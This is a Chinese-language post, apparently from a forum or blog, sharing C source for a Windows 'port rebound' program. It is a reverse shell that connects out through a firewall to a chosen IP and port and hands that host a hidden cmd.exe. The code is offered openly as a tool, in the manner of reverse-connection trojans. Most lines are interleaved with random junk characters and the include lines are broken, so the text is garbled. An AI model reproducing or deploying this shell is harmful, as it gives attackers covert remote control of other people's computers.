Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 s:_M+_7_  
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/* ============================== v9<7=D&x  
Rebound port in Windows NT 8db J'  
By wind,2006/7 @8IYJ{=  
===============================*/ K+9oV[DMs  
#include (7C&I-l  
#include gmU_# J%~  
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#pragma comment(lib,"wsock32.lib") wz!a;]agg  
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void OutputShell(); udRum7XW3  
SOCKET sClient; u/`jb2eEU:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yc./:t1at>  
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void main(int argc,char **argv) ?^F*M#%?  
{ Kk5 vC{  
WSADATA stWsaData; I)wjTTM5  
int nRet; Jr0D:  
SOCKADDR_IN stSaiClient,stSaiServer; Oeua<,]Z~  
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if(argc != 3) BUH~aV  
{ PV_E3,RY  
printf("Useage:\n\rRebound DestIP DestPort\n"); q1:Y]Rbe  
return; G~,K$z/-l  
} (~YFm"S  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5hNjJqu  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x?hdC)#DWI  
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stSaiClient.sin_family = AF_INET; +&LzLF.bK  
stSaiClient.sin_port = htons(0); Va^AEuzF  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Sq9I]A  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Gp=X1 F  
{ B;SN}I  
printf("Bind Socket Failed!\n"); ;B%NFvG  
return; ztSP4lW  
} s%tPGjMq  
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stSaiServer.sin_family = AF_INET; l2v4SvbX  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); adHZX  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {@T8i^EI  
{
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printf("Connect Error!"); %O5 k+~9  
return; txF)R[dZK  
} `;[j`v8O  
OutputShell(); JCjQR`)  
} ]+1?T)<!  
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void OutputShell() X#l]%
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{ T6s~f$G  
char szBuff[1024]; Q'f!392|  
SECURITY_ATTRIBUTES stSecurityAttributes; 1WGcv O)<  
OSVERSIONINFO stOsversionInfo; kcy?;b;z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +Eil:Jz  
STARTUPINFO stStartupInfo; I]
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char *szShell; +r7uIwi$@  
PROCESS_INFORMATION stProcessInformation; ]~my<3j}or  
unsigned long lBytesRead; gu+c7qe  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); uzf@49m]m  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -4P2 2  
stSecurityAttributes.lpSecurityDescriptor = 0; _pu G?p  
stSecurityAttributes.bInheritHandle = TRUE; => .EDL.  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P;%4Imq3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7aH E:Dnwp  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DlB"o.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hZ0p /Bdv  
stStartupInfo.wShowWindow = SW_HIDE; FA 1E`AdU  
stStartupInfo.hStdInput = hReadPipe; LOY+^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U#oe8(?#  
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GetVersionEx(&stOsversionInfo); (mq 7{;7y  
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switch(stOsversionInfo.dwPlatformId) "0pH@_8o{  
{ B_FfXFQm<  
case 1: f =H,BQ  
szShell = "command.com"; 4:$?u}9[:[  
break; :3qA7D}  
default: &1hJ?uM01  
szShell = "cmd.exe"; ]=A=VH&  
break; 28l",j)S  
} ],ow@
}  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9*!C|gC9Ia  
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send(sClient,szMsg,77,0);
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while(1) lQs|B '  
{ bP;cDQ(g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8i!~w 7z  
if(lBytesRead) uq;,h46ki  
{ H \$04vkR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kc&>l(  
send(sClient,szBuff,lBytesRead,0); RulZh2C  
} D:Zpls.  
else TGxspmY6  
{ ^H'zS3S  
lBytesRead=recv(sClient,szBuff,1024,0); Ro+/=*ql~  
if(lBytesRead<=0) break; |]7z
  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sY?pp '}a  
} owA3>E5t&  
} ZoJ:4uo N`  
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return; 'U<-w$!f+^  
}